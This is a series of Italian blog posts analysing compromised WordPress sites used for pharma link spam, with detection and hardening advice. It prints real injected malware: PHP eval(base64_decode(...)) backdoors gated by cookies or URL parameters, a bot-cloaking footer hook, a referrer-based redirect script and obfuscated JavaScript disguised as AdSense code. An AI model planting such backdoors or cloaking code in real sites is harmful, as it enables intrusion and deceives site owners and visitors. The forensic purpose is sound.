Altro sistema molto semplice, che funziona egregiamente con Firefox, è di disabilitare Javascript e ricaricare la pagina di gestione utenti: se l’utente abusivo c’è, appare immediatamente nella lista.

Ho avvertito i proprietari di cinque differenti blog, tre dei quali aggiornati a Wordpress 2.5.1, del fatto che nascosti in alcuni post ci sono link che portano a siti che tentano di iniettare malware attraverso il browser. I blog non presentano nessuno dei comportamenti tipici dell’infezione, ma erano probabilmente infetti in precedenza, come mi ha confermato uno dei proprietari, l’unico che mi ha risposto. La mia ipotesi è che chi ha compromesso i blog in precedenza, una volta perso il controllo per l’aggiornamento da parte del proprietario, ha “svenduto” l’accesso amministratore ad altri, che lo stanno usando per inserire quei link invisibili in normali post del blog. Il proprietario del blog ovviamente non sospetta nulla, ed anzi sta tranquillo perché ha appena eseguito un aggiornamento.

Per ora chiudo qui. La raccomandazione è che in caso abbiate subito una intrusione di questa categoria, ponete molta attenzione al database, e controllare attentamente gli utenti presenti. Un trucco è quello di fare un backup del database, scaricarlo ed esaminarlo con un editor, cercando nella tabella wp_usermeta e wp_users. Però occorre che sappiate dove mettere le mani e cosa cercare, cosa non facile. Ovviamente, nel frattempo, chi ha creato questa pestilenza sta continuando a migliorarne il codice.

Riprendendo quanto detto nel titolo, l’aggiornamento non basta.

Gli articoli precedenti

Per chi vuole leggere tutta la storia, qui c’è l’elenco con tutti gli articoli che trattano dell’indagine sui blog violati:

Di seguito alcuni consigli per diminuire il rischio di essere colpiti, e cosa fare quando succede:

Tags: ,

Spam con Wordpress: altri esempi di codice iniettato

Apr 28

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 1 commento

Ho ricevuto altri due tarball di siti web compromessi.

Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo dei precedenti. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di escape del PHP, in questo modo (tratto dal file wp-admin/index.php):


<?php
  if(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>
<?php
  if($_GET['4bb9dfc9087f6880']=="3af2f3a320b6d01a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>

Il primo if sembra essere una forma di identificazione: se nel browser del visitatore è presente un certo cookie viene eseguito del codice, risultante dalla funzione eval applicata sul contenuto della richiesta POST. Il secondo assomiglia al primo, solo che viene controllata la presenza ed il valore di una variabile di tipo urlencoded. Questo sito è stato compromesso più volte, almeno due, con versioni successive installate forse da due cracker differenti.

La parte più “gustosa”, si fa per dire, è quella del rilevamento dello user agent e della “farcitura” della home page di link spam (tratto dal file wp-includes/default-filters.php):


add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
  $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
  $sebot="";
  foreach($seau as $ua)
    if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
  if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
  @include('./wp-includes/class-mail.php');
  if(sizeof($wparr)>0){
    echo "<div id=\"_wp_footer\">";
    foreach($wparr as $k=>$v){
      echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
      if($i++==$inum) break;
    }
    echo "</div>".$_footer;
  }
}

Notare la lista delle stringhe per lo user agent, alla variabile $seau.
Questo tipo è quello che usa il tag <div> con ID pari a “_wp-footer”, visto qui.

Nell’albero delle directory dell’installazione di Wordpress compromessa vi sono alcuni file estranei, riconoscibili per via dell’ultima lettera dell’estensione del nome duplicata: en_new.php.jpgg, mcwindows.php.giff, Downloads_old.php.jpgg.

Il contenuto, come è facile immaginare, è completamente differente da quello che l’estensione sembra suggerire: sono script PHP che iniziano in questo modo:


<?php
  if(md5($_COOKIE['qwerty'])=="bed5666cccb90054bec0058e9f28d91c"){
    clearstatcache();
    set_magic_quotes_runtime(0);
    if(!function_exists('ini_set')){
      function ini_set(){
        return FALSE;
      }
   }
...

La prima riga è proprio una autenticazione, il resto del file contiene varie funzioni, le più interessanti sono una che tenta la modifica di alcune variabili di funzionamento dell’interprete PHP, per la precisione max_execution_time e output_buffering, ed una che controlla l’impostazione del “safe mode”. Segue una rudimentale shell via web che permette di creare directory, modificare file, rimuovere file o directory, fare l’upload di file, eseguire comandi via shell. Ed ancora, una funzione che scandisce l’albero di directory a partire da un punto e cerca file e directory modificabili con l’utente con cui viene eseguita la shell, ossia il web server. Ultima finezza, una funzione che permette di aprire e modificare un file e rimette data ed ora di ultima modifica a quella precedente le modifiche, come se il file non fosse mai stato toccato.

Insomma, il kit del provetto cracker.

Devo dire che c’è da imparare da questa gente. Alcune tecniche di programmazione sono realmente istruttive. C’è una funzione che cerca, fra le varie disponibili nelle tante versioni rilasciate di PHP, quella esistente nell’installazione in cui viene messa in esecuzione, a scelta fra: exec, shell_exec, system e passthru.

Tags: , , ,

Spam con Wordpress: primi dettagli su un sito compromesso

Apr 24

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 3 commenti

Grazie alla competenza ed alla estrema gentilezza di un webmaster, ho potuto analizzare il codice di uno dei siti compromessi negli ultimi tempi.

L’attacco è stato compiuto sfruttando una delle vulnerabilità note delle versioni 2.0.x di Wordpress, ed il risultato è stato di iniettare file PHP sia nella directory del tema Classic che in una delle directory accessorie dell’editor TinyMCE. Tramite questi due file l’attaccante è poi riuscito ad iniettare due singole righe di istruzioni in PHP all’interno del file wp-includes/function.php che iniziano così:


eval(base64_decode(.....

e contengono una lunga stringa di caratteri alfanumerici, in codifica Base64. La prima equivale a:


if(!$GLOBALS['dhhag']){if(have_posts()){$GLOBALS['dhhag'] = 1;if(function_exists('gml')){echo gml();}}}

ed è iniettata dentro la funzione mysql2date

La seconda è iniettata fra le funzioni is_archive e is_date: controlla se esiste il file dentro le directory di TinyMCE e lo include.

Lo stile di scrittura è tipico del codice offuscato, ossia un sorgente sintatticamente corretto, ma umanamente difficile da leggere, proprio di tool usati o scritti da cracker o hacker blackhat.

In sostanza il file dentro TinyMCE viene richiamato sia da Wordpress durante il suo funzionamento, sia esternamente dall’attaccante. Esaminando brevemente il codice, si evince che contiene funzioni per:

  • Iniettare le due righe dette poco sopra nel file wp-includes/function.php
  • scaricare nuove versioni di se stesso
  • scaricare dati di lavoro dal server
  • analizzare lo user agent dei visitatori e reagire alla presenza di determinate stringhe: google, msn, slurp
  • riportare la propria attività su richiesta

E’ un tool automatizzato scritto appositamente, e fatto per lavorare in parallelo su un gran numero di siti compromessi. Una volta che l’attaccante lo ha iniettato nel sito vittima, lo attiva semplicemente richiamandolo tramite URL. Il risultato è un form con le opzioni da inserire, segue poi una chiamata ad un differente URL per attivarlo. Qui sotto un esempio del form.

Il form di setup del malware

I due siti cinesi che vedete nell’immagine del form sono quelli usati dal malware iniettato per ottenere i dati di lavoro.

Nella stessa directory ci sono i file di lavoro, con nomi che sono sequenza di 32 cifre esadecimali. Il contenuto è facilmente immaginabile: tipici messaggi spam con link ad altri siti, tutti blog già compromessi. E’ assai probabile che anche in questi siti si troverà il comportamento di redirect visto in precedenza.

Sono centinaia di link, ed ogni sito a cui puntano ne contiene di nuovi. E’ umanamente impossibile pensare di avvertirli tutti, ma ci sto provando.

Rispetto alle altre di cui ho parlato, questa è una differente variante. Non pare iniettare cose nel database e non effettua il redirect. In uno dei siti compromessi ho trovato una ulteriore variante della DIV farcita di link a beneficio del GoogleBot: questa non ha né un ID, né stile display, né Javascript che inietta lo stile in base all’ID. Qui la questione è molto più semplice: c’è una istruzione di stile come questa:


<div style="position:absolute;left:-17453px;top:-17453px">

Risultato: il contenuto della DIV è invisibile perché piazzata fuori dalla finestra del browser. E’ meno individuabile perché sia “display:none” che “id=goro” sono stringhe inusuali, e facilmente rintracciabili con un motore di ricerca, mentre “position:absolute” è infinitamente più comune.

Le ragioni per cui l’attacco ha avuto successo

Nell’installazione vi erano alcune debolezze, che hanno reso la vita relativamente facile all’attaccante. Vediamo le principali:

  • La versione di Wordpress era la 2.0.3, vulnerabile a parecchi tipi di attacco, compreso uno che consente di accedere al database tramite la funzione di trackback. Esistono anche dei Proof of Concept sull’argomento.
  • Tutti i file di Wordpress erano modificabili dall’account con cui viene eseguito il web server, in questo caso Apache. Questo ha permesso all’attaccante di inserire file in directory normalmente non modificabili, di modificare file di Wordpress e quindi di iniettare il proprio codice nei punti vitali dell’applicazione.
  • Tutti i file di Wordpress appartenevano allo stesso account di Apache. Purtroppo questa è una pratica comune di molti servizi di hosting. E’ parente stretto del problema nel punto precedente, ma più grave: in questo modo anche se andiamo a togliere i permessi di scrittura per tutti ai file, il proprietario, ossia Apache, potrà renderli di nuovo scrivibili. Non dimentichiamoci che gli script PHP agiscono con lo stesso account e quindi gli stessi diritti del web server in cui è eseguito, in questo caso sempre Apache.

Per evitare di cadere vittima di questo tipo di attacchi, oltre a tenere aggiornato Wordpress, occorre fare un lavoro di hardening sull’installazione nel web server. La regola base è che Apache, o quello che sia, deve essere eseguito con un account differente da quello a cui appartengono i file del sito. In questo modo si può controllare meglio il comportamento del codice PHP, ed impedirgli di automodificarsi, cosa tipica delle iniezioni di codice da parte di malware.

Altra cosa è di assegnare poi i permessi di scrittura solo e soltanto dove serve. Una buona guida è qui.

Tags: , , ,

Spam con Wordpress: esempi di codice iniettato

Apr 22

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Software, Wordpress | 1 commento

Indagando sul recente sfruttamento di blog basati su Wordpress per carpirne il pagerank, al fine di vendere farmaci online, mi sono imbattuto in parecchi esempi di codice Javascript iniettato. Ne riporto quancuno, con l’analisi, al fine di mostrare cosa sia possibile fare anche solo con Javascript.

Partiamo dal primo esempio. Il codice era inserito in cima alla homepage di un blog:


<script language="JavaScript">
  var r=document.referrer,t="”,q;
  if (r.indexOf("google.") != -1) t = "q";
  if (r.indexOf("msn.") != -1) t = "q";
  if (r.indexOf("live.") != -1) t = "q";
  if (r.indexOf("yahoo.") != -1) t = "p";
  if (r.indexOf("altavista.") != -1) t = "q";
  if (r.indexOf("aol.") != -1) t = "query";
  if (r.indexOf("ask.") != -1) t = "q";
  if (document.cookie.length==0 && t.length &&
      (document.URL.indexOf("?certified=") != -1 ||
      document.URL.indexOf("?google-approved=") != -1) &&
      ((q=r.indexOf("?"+t+"=")) != -1 ||
      (q=r.indexOf("&"+t+"=")) != -1))
      {
	window.location="http://sito.farmaci/pharma/search.php?q=" +
	  r.substring(q+2+t.length).split("&")[0];
      }
</script>

La funzione dello script può essere riassunta in questo modo:

  1. Viene esaminato il referer: se è un motore di ricerca fra Google MSN, Live, Yahoo, Altavista, AOL o Ask, viene assegnata alla variabile t la stringa che identifica la query
  2. La sequenza di condizioni nell’ultimo statement if suona più o meno così:
    • se non ci sono cookie appartenenti al sito
    • se la variabile t non è vuota
    • l’url richiesto contiene ?certified= o ?google-approved=
    • vi è la sequenza di termini di ricerca nell’url del referer

    ossia, in breve, se l’url del referer è più o meno così: http://motorediricerca/search?hl=it&q=parole+chiave e l’url cercato è più o meno così: http://blog.violato/?certified=222 il browser viene rediretto a http://sito.farmaci/pharma/search.php?q=parole+chiave

Il redirect quindi non si attiva se un visitatore arriva da un altro sito qualsiasi, né se ha già visitato il sito in precedenza. Non si attiva neppure se la stringa di query manca o è incompleta nell’url del referer, determinando così un meccanismo di occultamento a danno sia del proprietario del sito che dei suoi amici e visitatori abituali.

Vediamo ora un secondo esempio.

Questo è presente sempre in alcuni dei blog compromessi. Il codice malevolo reagisce allo user agent: se è lo spider di un motore di ricerca noto, la pagina principale viene riempita di link a beneficio dello spider. Per maggiore sicurezza, i link sono all’interno di un <div> che ha ID uguale a _wp-footer. Notare che il tag non ha attributi di stile, e che l’ID assomiglia ad uno comunemente usato in WordPress, ma c’è un segno di underscore all’inizio. Ecco il codice Javascript associato:


<div id="_wp_footer">
...lunga sequenza di link con nomi di farmaci noti...
</div>
<script type="text/javascript"><!--
  google_ad_client = "pub-7652328300112263";
  google_ad_width = 728;
  google_ad_height = 15;
  google_ad_format = "728x15_0ads_al_s";
  google_ad_channel = "";
  function google_ads(str) {
    var idx = str.indexOf('?');
    if (idx == -1) return str;
    var len = str.length;
    var new_str = "”;
    var i = 1;
    for (++idx; idx < len; idx += 2,i++) {
      var ch = parseInt(str.substr(idx, 2), 16);
      new_str += String.fromCharCode((ch + i) % 256);
    }
  eval(new_str);
  }
  google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
  //-->
</script>

Ad una occhiata distratta sembra un normale segmento di script per Google AdSense, ma qualcosa non quadra. Il for contiene una semplice funzione di decodifica. Basta sostituire alla funzione eval vicino alla fine con alert o con document.write: il risultato lo vediamo in figura.

Codice JS per occultare un blocco DIV

In stringa:


document.getElementById('_wp-footer').style.display="none";

La funzione di questo minuscolo pezzo di codice è di inserire lo stile display:none negli attributi del blocco div con ID _wp-footer, in breve di non visualizzarlo.
In questo modo se qualcuno cerca nelle pagine qualcosa di nascosto tramite lo stile display:none non lo troverà mai. Si tratta di protezione per offuscamento del codice.

Questi ed altri indizi mostrano che il codice malevolo è in evoluzione: a partire dalla variante detta Goro Spam, dove lo stile era esplicito nella pagina, si è passati all’offuscamento proprio di quello stile ed all’uso di un ID con nome molto comune. Sta diventando sempre più difficile trovare siti compromessi, certo non per via dell’esaurirsi dell’attacco, piuttosto per la maggiore sofisticazione impiegata dall’attaccante.

Appena avrò maggiori dettagli pubblicherò altri articoli. Nel frattempo, massima attenzione alle homepage dei vostri blog.

Tags: , , ,

Analisi di un Malware

Nov 21

Pubblicato da Mario Pascucci in ...english, too!, Information security, Linux | Disattiva commenti

Il progetto Honeynet pubblica ogni tanto una sfida con cui cimentarsi e su cui provare le proprie capacità di indagine in questioni di sicurezza dell’informazione.

Nel settembre 2004 ho partecipato ad una delle loro sfide, dette Scan of the Month, e mi sono classificato fra i primi dieci.

Il testo con il quale ho partecipato è qui.

English version.

Tags: , , , ,